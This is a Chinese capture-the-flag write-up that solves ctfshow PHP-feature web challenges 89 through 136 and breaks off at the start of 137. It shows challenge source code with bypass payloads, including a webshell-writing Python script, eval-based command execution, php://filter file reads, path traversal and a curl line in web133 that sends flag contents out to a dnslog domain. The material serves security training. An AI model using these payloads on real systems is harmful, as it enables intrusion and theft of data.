ctfshow php特性 web89-web115 web123-150wp

php特性

参考博客仍然是南神博客

web89

include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    
    
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
    
    
        die("no no no!");
    }
    if(intval($num)){
    
    
        echo $flag;
    }
}

这里有个intval函数:获取变量的整数值

通过使用指定的进制 base 转换(默认是十进制),返回变量 value 的 int 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。

?num[]=1

web90

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    
    
    $num = $_GET['num'];
    if($num==="4476"){
    
    
        die("no no no!");
    }
    if(intval($num,0)===4476){
    
    
        echo $flag;
    }else{
    
    
        echo intval($num,0);
    }
} 

num != 4476但是num === 4476,可以通过intval函数来int一下

?num=4476.0

web91

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    
    
    if(preg_match('/^php$/i', $a)){
    
    
        echo 'hacker';
    }
    else{
    
    
        echo $flag;
    }
}
else{
    
    
    echo 'nonononono';
}

Notice: Undefined index: cmd in /var/www/html/index.php on line 15
nonononono

要满足正则/^php$/im但不能满足/^php$/i,可以去看看这个m

/i表示匹配大小写

/m 多行匹配,若存在换行\n并且有开始^或结束$符的情况下,将以换行为分隔符,逐行进行匹配。但是当出现换行符 %0a的时候,$cmd的值会被当做两行处理,而此时第二个if正则匹配不符合以php开头和以php结尾

?cmd=%0Aphp

web92

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    
    
    $num = $_GET['num'];
    if($num==4476){
    
    
        die("no no no!");
    }
    if(intval($num,0)==4476){
    
    
        echo $flag;
    }else{
    
    
        echo intval($num,0);
    }
}

这个就不能用num=4476.0,因为用的是弱比较,不会比较浮点和整数类型的,这里可以用16进行来绕

?num=0x117c

web93


include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    
    
    $num = $_GET['num'];
    if($num==4476){
    
    
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
    
    
        die("no no no!");
    }
    if(intval($num,0)==4476){
    
    
        echo $flag;
    }else{
    
    
        echo intval($num,0);
    }
}

虽然16进制可以绕过第一层但是第二层他过滤了字母,于是想到八进制,是直接用的0开头

?num=010574

web94

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    
    
    $num = $_GET['num'];
    if($num==="4476"){
    
    
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
    
    
        die("no no no!");
    }
    if(!strpos($num, "0")){
    
    
        die("no no no!");
    }
    if(intval($num,0)===4476){
    
    
        echo $flag;
    }
}

这里不让0开头了,但是可以在前面加上一个加号,当空格

?num=+010574

web95

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    
    
    $num = $_GET['num'];
    if($num==4476){
    
    
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
    
    
        die("no no no!!");
    }
    if(!strpos($num, "0")){
    
    
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
    
    
        echo $flag;
    }
}

过滤了点而已关我什么事

?num=+010574

web96

highlight_file(__FILE__);

if(isset($_GET['u'])){
    
    
    if($_GET['u']=='flag.php'){
    
    
        die("no no no");
    }else{
    
    
        highlight_file($_GET['u']);
    }

} 

只要u != flag.php即可

?u=./flag.php

当然也可以用php伪协议

?u=php://filter/read=convert.base64-encode/resource=flag.php

web97

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
    
    
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?> 

a != b and md5(a) === md5(b)

这里md5总结可以看南神的博客https://www.wlhhlc.top/posts/16813/

这里直接传两数组,都返回Null

a[]=1&b[]=2

web98

include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?> 

后面是三目运算符

如果存在get传参,则把post传参地址给get,可以简单理解为post覆盖了get

如果get参数HTTP_FLAG的值为flag,就读取文件,也就是输出flag

GET: ?a=b
POST:HTTP_FLAG=flag

web99

highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
    
     
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    
    
    file_put_contents($_GET['n'], $_POST['content']);
}

?> 

首先创建一个数组,然后通过for循环向数组中写如随机数

第二个是判断是否传入了n并判断n是否在数组中

最后用file_put_contents函数写数据到

in_array(search,array,type)
如果给定的值 search 存在于数组 array 中则返回 true。如果第三个参数设置为 true,函数只有在元素存在于数组中且数据类型与给定值相同时才返回 true。

如果没有在数组中找到参数,函数返回 false。

注释:如果 search 参数是字符串,且 type 参数设置为 true,则搜索区分大小写。

没有第三个参数的时候进行的就是弱比较,就会存在强制的类型转换,如123.php就会转换成123

GET: ?u=123.php
POST:content=<?php @eval($_POST['mumuzi']);?>

写个脚本

import requests
url = 'http://0272970f-dd04-4b71-bd9b-fd8b76ea6992.challenge.ctf.show/'
shell = '124.php'
data = {
    
    'content':"<?php @eval($_POST['mumuzi']);?>"}
url_shell = url+'?n='+shell
YoN = True
while YoN:
    getshell = requests.post(url=url_shell,data=data)
    shell_url=url+shell
    req = requests.get(url=shell_url)
    if(req.status_code == 200):
        print('[+]写入shell成功')
        data2 = {
    
    'mumuzi':'system("tac flag36d.php");'} #先ls
        req2 = requests.post(url=shell_url,data=data2)
        print(req2.text)
        YoN = False
    else:
        print('[!]写入shell失败')

在这里插入图片描述

web100

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    
    
    if(!preg_match("/\;/", $v2)){
    
    
        if(preg_match("/\;/", $v3)){
    
    
            eval("$v2('ctfshow')$v3");
        }
    }
    
}


?>

is_numeric是用于检测变量是否为数字或数字字符串

后面有 eval 函数,明示需要进行命令执行 v3需要有分号,v2不能有分号

这样的话v0就 = $v1 and FALSE and FALSE

但是php的运算具有优先级

&& > = > and

如$a = true and false;,因为等号大于and,所以这里赋值为$a = True

?v1=1&v2=system("ls")&v3=;

ctfshow.php flag36d.php index.php

?v1=1&v2=system("tac%20ctfshow.php")&v3=;
$flag_is_8964b4200x2d4cbc0x2d41cc0x2dbe940x2dffad6a15d11e
0x2d转成-
8964b420-4cbc-41cc-be94-ffad6a15d11e

一百道了,真好

web101

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    
    
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
    
    
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
    
    
            eval("$v2('ctfshow')$v3");
        }
    }
    
}

?> 

阴间过滤了家人们,我带你们打

但是还有其他的知识点,可以根据群主提供的hint找到

反射类ReflectionClass执行命令

ReflectionClass反射类在PHP5新加入,继承自Reflector,它可以与已定义的类建立映射关系,通过反射类可以对类操作
反射类不仅仅可以建立对类的映射,也可以建立对PHP基本方法的映射,并且返回基本方法执行的情况。因此可以通过建立反射类new ReflectionClass(system('cmd'))来执行命令
?v1=1&v2=echo new ReflectionClass&v3=;

得到的flag还是0x2d转成-,但是flag少了一位,所以最后一位要进行爆破

欧气测试ing

试了14次NMD

web102

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    
    
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    
    
    die('hacker');
}


?>
is_numeric() 用于检测是否为数字或数字字符串,如果指定的变量是数字和数字字符串则返回true,否则返回false。如果字符串中含有一个e代表科学计数法,也可返回truesubstr($v2,2) 是相当于返回v2[2:]
call_user_func() 函数用于调用方法或者变量,第一个参数是被调用的函数,第二个是调用的函数的参数
file_put_contents($v3,$str)是将$str的内容写入并保存为$v3(第一个参数是文件名,第二个参数是内容)

这里v2和v3都要是数字,substr取v2[2:],v2开头可以是00来作为开头,然后v1(v2[2:])。web100的时候说了等号优先级比and高,所以v4那里满足v2是数字即可保证v4为真

v2要保证能写shell,又要保证能为数字。

首先v2是shell,先整个 '<?=`tac *`;'然后想办法对其进行处理,直接hex的话

在这里插入图片描述

有字母,我觉得不行。在之前对其base64之后

在这里插入图片描述

3d是等号,解码的时候不是很严格,哇,金色传说

v2 = 504438395948526859794171594473

v1就要对其进行hex解码,用hex2bin(16进制转ascii字符,不是转2进制)

v3要对其进行base64解码,可以控制的协议流用base64解码写入文件

最终payload:(记得v2前面加个00)

GET:v2=00504438395948526859794171594473&v3=php://filter/write=convert.base64-decode/resource=mumuzi.php

POST:v1=hex2bin

在这里插入图片描述

web103

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    
    
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    if(!preg_match("/.*p.*h.*p.*/i",$str)){
    
    
        file_put_contents($v3,$str);
    }
    else{
    
    
        die('Sorry');
    }
}
else{
    
    
    die('hacker');
}

?>

v2不能有皮爱吃皮,我刚刚payload也没屁爱吃屁啊(吃瓜)

GET:v2=00504438395948526859794171594473&v3=php://filter/write=convert.base64-decode/resource=mumuzi.php

POST:v1=hex2bin

web104

highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    
    
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2)){
    
    
        echo $flag;
    }
}

?>

是绕杀1!!

跟之前md5一样传两个数组

GET:?v2[]=1

POST:v1[]=2

web105


highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
    
    
    if($key==='error'){
    
    
        die("what are you doing?!");
    }
    $$key=$$value;
}foreach($_POST as $key => $value){
    
    
    if($value==='flag'){
    
    
        die("what are you doing?!");
    }
    $$key=$$value;
}
if(!($_POST['flag']==$flag)){
    
    
    die($error);
}
echo "your are good".$flag."\n";
die($suces);

?>

(那你倒是直接给我flag啊)

注意这里$$key=$$value,$($key)=$($value),这里$key=error,所以这里可以传一个$error(变量覆盖了属于是)

这里有die($error);和die($suces);都能输出flag,所以这里有两个利用方式

payload1:执行die($suces)

这里其实可以看见,$flag不等于flag,就打印error信息,这里想办法把error覆盖为flag,这样就可以打印error看到flag

先是对get进行覆盖,然后对suces进行覆盖,因为要用suces输出,然后post的值里不能有flag,所以这里先GET一个suces=flag

然后要绕$flag,因为此时$suces已经得到了flag的值,所以这里直接把$flag改成其他的即可

在这里插入图片描述

?suces=flag&flag=1

payload2:

上面思路有了,这里可以get一个suces=flag,然后post一个error=suces即可

GET:suces=flag

POST:error=suces

别说 还挺妙

web106

highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    
    
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2) && $v1!=$v2){
    
    
        echo $flag;
    }
}

?>

这里在之前的基础上还增加了v1!=v2,但是赋不一样的值就行了

GET:?v2[]=1

POST:v1[]=2

web107

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
    
    
    $v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
       parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
    
    
           echo $flag;
       }

}

这里涉及到了信的函数parse_str()

parse_str(string,array):把查询字符串解析到变量中
    如parse_str("dota_st=yyds");
	echo $dota_st."<br>";    #南神yyds

所以

GET:?v3=flag

POST:v1=flag=327a6c4304ad5938eaf0efb6cc3e53dc
post的值为v1=flag=md5($v3),懂伐

web108

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
    
    
    die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
    
    
    echo $flag;
}

?> 
    ereg() 函数搜索由指定的字符串作为由模式指定的字符串,如果发现模式则返回true,否则返回false。搜索对于字母字符是区分大小写的,这里是c的值要为[a-zA-Z].可以用%00截断!

    strrev() 函数反转字符串。

    intval() 函数用于获取变量的整数值

上面说了ereg可以用%00截断,那就没啥事了

?c=MMZ%00778

***web109

highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    
    
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
    
    
            eval("echo new $v1($v2());");
    }
}
?> 

命令执行吗

v1和v2要存在字母(不是只能有字母)

不懂,反正用php内置类让v1不进行报错,v2执行命令

?v1=mysqli&v2=system('tac fl36dg.txt')

***web110

群主改描述说他报警了(滑稽)

highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    
    
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
    
    
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
    
    
            die("error v2");
    }

    eval("echo new $v1($v2());");
}
?> 

这里继续用之前的payload会发现在v2的正则匹配绕不过去,因为不知道文件名字是什么,但是system(ls)无法执行

南神写:可以使用FilesystemIterator文件系统迭代器来进行利用,通过新建FilesystemIterator,使用getcwd()来显示当前目录下的文件结构

?v1=FilesystemIterator&v2=getcwd

回显fl36dga.txt

然后访问url/fl36dga.txt即可

在这里插入图片描述

web111

变量覆盖

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
    
    
    eval("$$v1 = &$$v2;");
    var_dump($$v1);
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
    
    
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
    
    
            die("error v1");
    }
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
    
    
            die("error v2");
    }
    
    if(preg_match('/ctfshow/', $v1)){
    
    
            getFlag($v1,$v2);
    }

} 

var_dump()函数用于输出变量的相关信息

可以看到这里还是对v1和v2进行了正则的过滤,然后如果$v1有ctfshow,会进入getFlag函数

然后会执行$ctfshow = $$v2

这里用全局变量GLOBALS

$GLOBALS — 引用全局作用域中可用的全部变量 一个包含了全部变量的全局组合数组。变量的名字就是数组的键。

?v1=ctfshowweb&v2=GLOBALS

web112

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    
    
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
    
    
        die("hacker!");
    }else{
    
    
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    
    
    highlight_file(filter($file));
}else{
    
    
    echo "hacker!";
} 

新的函数来啦,is_file(),函数检查指定的文件名是否是正常的文件

这里filter是定义的函数检查$file参数中是否带正则里的东西

?file=php://filter/resource=flag.php

web113

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    
    
    if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
    
    
        die('hacker!');
    }else{
    
    
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    
    
    highlight_file(filter($file));
}else{
    
    
    echo "hacker!";
}

换zip、bzip、zlib试试

?file=compress.zlib://flag.php

web114


error_reporting(0);
highlight_file(__FILE__);
function filter($file){
    
    
    if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
    
    
        die('hacker!');
    }else{
    
    
        return $file;
    }
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
    
    
    highlight_file(filter($file));
}else{
    
    
    echo "hacker!";
}

啊这是没想到compress吗

但是没过滤filter啊

?file=php://filter/resource=flag.php

***web115

include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
    
    
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
    
    
    if($num=='36'){
    
    
        echo $flag;
    }else{
    
    
        echo "hacker!!";
    }
}else{
    
    
    echo "hacker!!!";
}

trim是函数移除字符串两侧的空白字符或其他预定义字符

num要为数字或数字字符串,但不能等于36,取出空白字符后也不能为36,进入filter之后出来还要为36

…十六进制和八进制都被限制了不让用

php跑个脚本看看有什么能来绕过trim呢

<?php
for ($i = 0; $i <= 128; $i++) {
    
    
    $a = chr($i) . '36';
    if (trim($a) !== '36' && is_numeric($a)) {
    
    
        echo urlencode(chr($i)) . "\n";
    }
}

发现能用%0c来绕过trim函数

?num=%0c36

好难

web123

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    
    
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
    
    
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
    
    
             echo $flag;
         }
    }
}
?> 

骗子,设置了一个$fl0g===“flag_give_me”,我才发现前面加了感叹号,不准有这个

可以知道flag在$flag里,fun可以为echo $flag

然后传POST CTF_SHOW=&CTF_SHOW.COM=&c=echo $flag

但是没有回显,查询之后发现是因为变量里面有个点

在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[则会被转化为_,所以按理来说我们构造不出CTF_SHOW.COM这个变量(因为含有.),但php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换

这里超推荐看讲解,其实出现了[之后php就会去找],如果找到了那就是数组,没有找到就被被解析成_
[PHP内核]PHP内核学习(四)------回答PHP的字符串解析特性Bypass([、空格被解析为_,[[只将第一个[解析为_)

CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag

web125

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    
    
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
    
    
         eval("$c".";");
         if($fl0g==="flag_give_me"){
    
    
             echo $flag;
         }
    }
}
?>

之前payload用不了了,因为禁用了echo、flag,这里用命令执行那边的知识点

GET:?mumuzi=flag.php

POST:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[mumuzi])

在这里插入图片描述

***web126

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    
    
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
    
    
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
    
    
             echo $flag;
         }
    }
} 

哦直接过滤了g i f c o d真有你的,highlight里面有i用不了了爬

我先做的web127再做的126,所以考点去看看127

注意是会转变成数组,所以这里要取数组,注意用eval函数最后加个分号

GET:?$fl0g=flag_give_me;

POST:CTF_SHOW=&CTF[SHOW.COM=&fun=eval($a[0])

当然用其他的也行

web127


error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];


//特殊字符检测
function waf($url){
    
    
    if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
    
    
        return true;
    }else{
    
    
        return false;
    }
}

if(waf($url)){
    
    
    die("嗯哼?");
}else{
    
    
    extract($_GET);
}


if($ctf_show==='ilove36d'){
    
    
    echo $flag;
}

extract() 函数从数组中将变量导入到当前的符号表,使用数组键名作为变量名,使用数组键值作为变量值

$_SERVER['argv'][0] = $_SERVER['QUERY_STRING']
query string是Uniform Resource Locator (URL)的一部分, 其中包含着需要传给web application的数据
    
<?php
$a=$_SERVER['argv'];
var_dump($a);

举例就是?a=2,就会变成$a=2

哦,然后题目最后要$ctf_show = ilove36d

当传入ctf_show=ilove36d时,就会变成 $ctf_show=ilove36d,满足要求

之前说了,空格 + [ 会被替换成下划线,这里过滤了+和[

?ctf show=ilove36d

web128

error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
    
    
    var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
    
    
    echo "嗯哼?";
}

function check($str){
    
    
    return !preg_match('/[0-9]|[a-z]/i', $str);
}

f1不能有数字或者字母,然后call_user_func在102讲过,call_user_func() 函数用于调用方法或者变量,第一个参数是被调用的函数,第二个是调用的函数的参数。

f1可以使用gettext拓展,用南神的

<?php
echo gettext("dotastnb");
//输出结果:dotastnb

echo _("ctfshownb");
//输出结果:ctfshownb

因此f1可以为_,即call_user_func(’_’,‘dotastnb’)就可以输出dotastnb,但是外面还套了一个call_user_func这可怎么办呢

可以用get_defined_vars函数,虽然我也不知道什么意思但是先用

get_defined_vars ( void ) : array 函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。

?f1=_&f2=get_defined_vars

其中在内部进行的操作为:

var_dump(call_user_func(call_user_func($f1,$f2)));
var_dump(call_user_func(call_user_func(_,'get_defined_vars')));
var_dump(call_user_func(get_defined_vars));//输出数组

web129

error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
    
    
    $f = $_GET['f'];
    if(stripos($f, 'ctfshow')>0){
    
    
        echo readfile($f);
    }
}
stripos() — 查找字符串首次出现的位置(不区分大小写)

这里意思是ctfshow出现的位置大于0就会读取文件

<?php
echo stripos("You love php, I love php too!","PHP");
?>
    #output:9
?f=/ctfshow/../../../../../../../var/www/html/flag.php
然后看源代码

web130

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    
    
    $f = $_POST['f'];
    if(preg_match('/.+?ctfshow/is', $f)){
    
    
        die('bye!');
    }
    if(stripos($f, 'ctfshow') === FALSE){
    
    
        die('bye!!');
    }
    echo $flag;
} 

f不能是xxxctfshow(反正前面有东西)

然后FALSE那里因为是强比较,所以ctfshow就算在开头值也是0而不是FALSE,而如果是弱比较的会就会进入die(‘bye!!’);

在这里插入图片描述

在这里插入图片描述

所以这里payload就是

POST:f=ctfshow

而实际这里的考点是正则的最大回溯,南神:

PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit
回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false

import requests
url = " "
data = {
    
    
    'f': 'dotast'*170000+'ctfshow'
}
res = requests.post(url=url,data=data)
print(res.text)

web131


error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    
    
    $f = (String)$_POST['f'];

    if(preg_match('/.+?ctfshow/is', $f)){
    
    
        die('bye!');
    }
    if(stripos($f,'36Dctfshow') === FALSE){
    
    
        die('bye!!');
    }

    echo $flag;

} 

这一次前面就出现了其他东西,就用脚本了

import requests
url = "http://8b6b53a0-d082-4c0b-a21d-6d4ec4199440.challenge.ctf.show/"
data = {
    
    
    'f': 'mumuzi'*170000+'36Dctfshow'
}
res = requests.post(url=url,data=data)
print(res.text)

在这里插入图片描述

web132

打开是一个网站,robots.txt里有个/admin,访问之后

#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);


if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
    
    
    $username = (String)$_GET['username'];
    $password = (String)$_GET['password'];
    $code = (String)$_GET['code'];

    if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
    
    
        
        if($code == 'admin'){
    
    
            echo $flag;
        }
        
    }
} 

php运算符优先级 ||优先级低于&&

所以这里password=$flag和username=admin满足一个即可,然后code要为admin

?username=admin&password=&code=admin

web133

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    
    
    if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
    
    
        eval(substr($F,0,6));
    }else{
    
    
        die("6个字母都还不够呀?!");
    }
}

6个字符的命令执行吗,试试能不能绕过ing,绕不过,这里去看Firebasky的博客https://blog.csdn.net/qq_46091464/article/details/109095382(找出题人博客)。原话如下:

我们传递?F=`$F`;+sleep 3好像网站确实sleep了一会说明的确执行了命令
**那为什么会这样?**
因为是我们传递的`$F`;+sleep 3。先进行substr()函数截断然后去执行eval()函数
这个函数的作用是执行php代码,``shell_exec()函数的缩写,然后就去命令执行。
而$F就是我们输入的`$F`;+sleep 3 使用最后执行的代码应该是
``$F`;+sleep 3`,就执行成功
这里可能有点绕,慢慢理解

但是这里可以执行命令但没有回显,可以找方法外带,这里使用http://www.dnslog.cn/

?F=`$F`; curl `cat flag.php|grep "flag"`.di5nz0.dnslog.cn

在这里插入图片描述

加上括号即可

ctfshow{cdf42e3b-da64-45f9-9400-e0f43a6db0bf}

web134

highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
    
    
    die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
    
    
    die(file_get_contents('flag.php'));
}
parse_str():把查询字符串解析到变量中
extract():函数从数组中将变量导入到当前的符号表
$_SERVER['QUERY_STRING']:web127

变量覆盖,毕竟这里最后也是问的是key1和key2,然后这里可以用POST传和GET传

parse_str($_SERVER['QUERY_STRING']);
var_dump($_POST);
先会以数组来输出,然后extract就成了正常的传参
    ?_POST[a]=dotast
    就会输出array(1) {
    
     ["a"]=> string(6) "dotast" },再使用extract函数,就会变成$a=dotast

paylaod:

GET:?_POST[key1]=36d&_POST[key2]=36d
flag在源代码

web135

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    
    
    if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
    
    
        eval(substr($F,0,6));
    }else{
    
    
        die("师傅们居然破解了前面的,那就来一个加强版吧");
    }
}

web133 plus

还是Firebasky师傅出的题,嗯

这里给出的payload是用cp把flag.php到1.txt,但是web133却不能用

?F=`$F `;cp flag.php 1.txt

然后访问1.txt

web136

 <?php
error_reporting(0);
function check($x){
    
    
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
    
    
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    
    
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    
    
    highlight_file(__FILE__);
}
?> 

这次是羽师傅出的。看起来就是个命令执行然后绕过, 对于exec,是执行一个外部程序,回显最后一行,需要用echo输出。

这里没有echo相当于是无回显,所以想着用管道符将其输出到某个文本中

但是这里过滤了>符号,怎么办呢

根据查询,发现可以用tee指令

tee a.txt b.txt,将a.txt复制到b.txt
ls | tee b.txt,将ls命令的执行结果写入b.txt
?c=ls /|tee ls

将ls的结果写入"ls"

在这里插入图片描述

同样的

?c=tac /f149_15_h3r3|tee flag

访问/flag

web137

error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    
    
    function __wakeup(){
    
    
        die("private class");
    }
